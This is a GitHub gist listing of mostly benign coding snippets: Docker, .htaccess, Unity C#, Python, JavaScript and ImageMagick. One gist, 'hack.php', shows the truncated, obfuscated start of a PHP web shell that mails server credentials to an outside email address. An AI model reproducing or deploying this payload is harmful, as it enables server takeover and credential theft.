Skip to content

Instantly share code, notes, and snippets.

@rutcreate
rutcreate / docker-compose.yml
Last active May 21, 2018 03:21
Basic WordPress Docker Compose
version: '3'
services:
wordpress:
image: wordpress:latest
ports:
- 8888:80
volumes:
- ./html:/var/www/html
environment:
@rutcreate
rutcreate / hack.php
Created July 12, 2017 10:23
Hack by Da3s HaCkEr
<?php
$_F=__FILE__;
$_X='Pz48P3BocA0KDQoNCg0KDQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KJHIxcjYgPSAiejJiM2d0NWxAZ20xNGwuYzJtIjsNCiRyMXJhID0gIlMzYmo1Y3QiOw0KJHIxcm8gPSRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXS4nPGJyLz4gVXM1cj0nLiRfU0VSVkVSWydQSFBfQVVUSF9QVyddLic8YnIvPnAxc3M9Jy4kX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddOw0KJHIxcnUgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCiRyMXJpID0gIkZyMm06ICRyMXJ1IjsNCkBtMTRsKCRyMXI2LCRyMXJhLCRyMXJvLCRyMXJ1KTsNCg0KJDEzdGhfcDFzcyA9ICIiOw0KJGMybDJyID0gIiNlZUZGMDAiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAnVzRuZDJ3cy02YWk2Jz
## English
Range (Ascii) = 0-255
## Thai
Range (Unicode) = 0E00-0E7F
Range (Ascii) = 3584-3711
## Thai Floating
@rutcreate
rutcreate / .htaccess
Last active May 17, 2018 04:17
Redirect to specific URL when first time visit
RewriteCond %{REQUEST_URI} ^/$ [NC]
RewriteCond %{HTTP_REFERER} !^http://yourdomain.com [NC]
RewriteRule ^ http://yourdomain.com/page-to-redirect [R=302,L]
@rutcreate
rutcreate / DragAndDropEditorWindow.cs
Last active September 23, 2022 07:24
How to use DragAndDrop function in Unity3D custom editor. This is just handle when user drag anything outside to THIS EditorWindow only.
using UnityEngine;
using UnityEditor;
using System.Collections;
using System.Collections.Generic;
public class DragAndDropEditorWindow : EditorWindow
{
[MenuItem("Window/Drag And Drop")]
public static void Open()
{
@rutcreate
rutcreate / pot_images.py
Last active July 14, 2016 01:55
Expand image's canvas to Power of 2.
#!/usr/bin/env python
from PIL import Image
import math
import os
from glob import glob
allowed_sizes = [2, 4, 8, 16, 64, 128, 256, 512, 1024, 2048]
@rutcreate
rutcreate / reflection.cs
Last active July 28, 2016 04:10
C# Reflection Example
// Get private or protected field of items
FieldInfo fieldInfo = obj.GetType().GetField("items", BindingFlags.NonPublic | BindingFlags.Instance);
object field = fieldInfo.GetValue(obj);
// Invoke simple method.
// instance.Clear();
MethodInfo methodInfo = type.GetMethod("Clear");
methodInfo.Invoke(obj, null);
// Invoke method with parameter(s).
@rutcreate
rutcreate / validate.js
Created March 20, 2016 08:03
JavaScript: Integer and Float validation
function isInt(n){
return Number(n).toString() === n.toString() && n % 1 === 0;
}
function isFloat(n){
return Number(n).toString() === n.toString() && n % 1 !== 0;
}
@rutcreate
rutcreate / script.sh
Created December 16, 2015 02:35
Using ImageMagick crop images in folders.
# convert Input/*.png -crop [width]x[height]+[pos.x]+[pos.y] -set filename:fname '%t_tn' +adjoin 'Output/[filename:fname].png'
convert Input/*.png -crop 1136x640+418+138 -set filename:fname '%t_tn' +adjoin 'Output/[filename:fname].png'
@rutcreate
rutcreate / AnimationBroadcastStateMachineBehaviour.cs
Last active July 21, 2016 10:32
Unity3D: Broadcast message to all object in state machine behaviour.
using System.Text.RegularExpressions;
using UnityEngine;
public class AnimationBroadcastStateMachineBehaviour : StateMachineBehaviour {
// Could not find the way to get current state name.
// So end up with this. Define variable again.
public string stateName;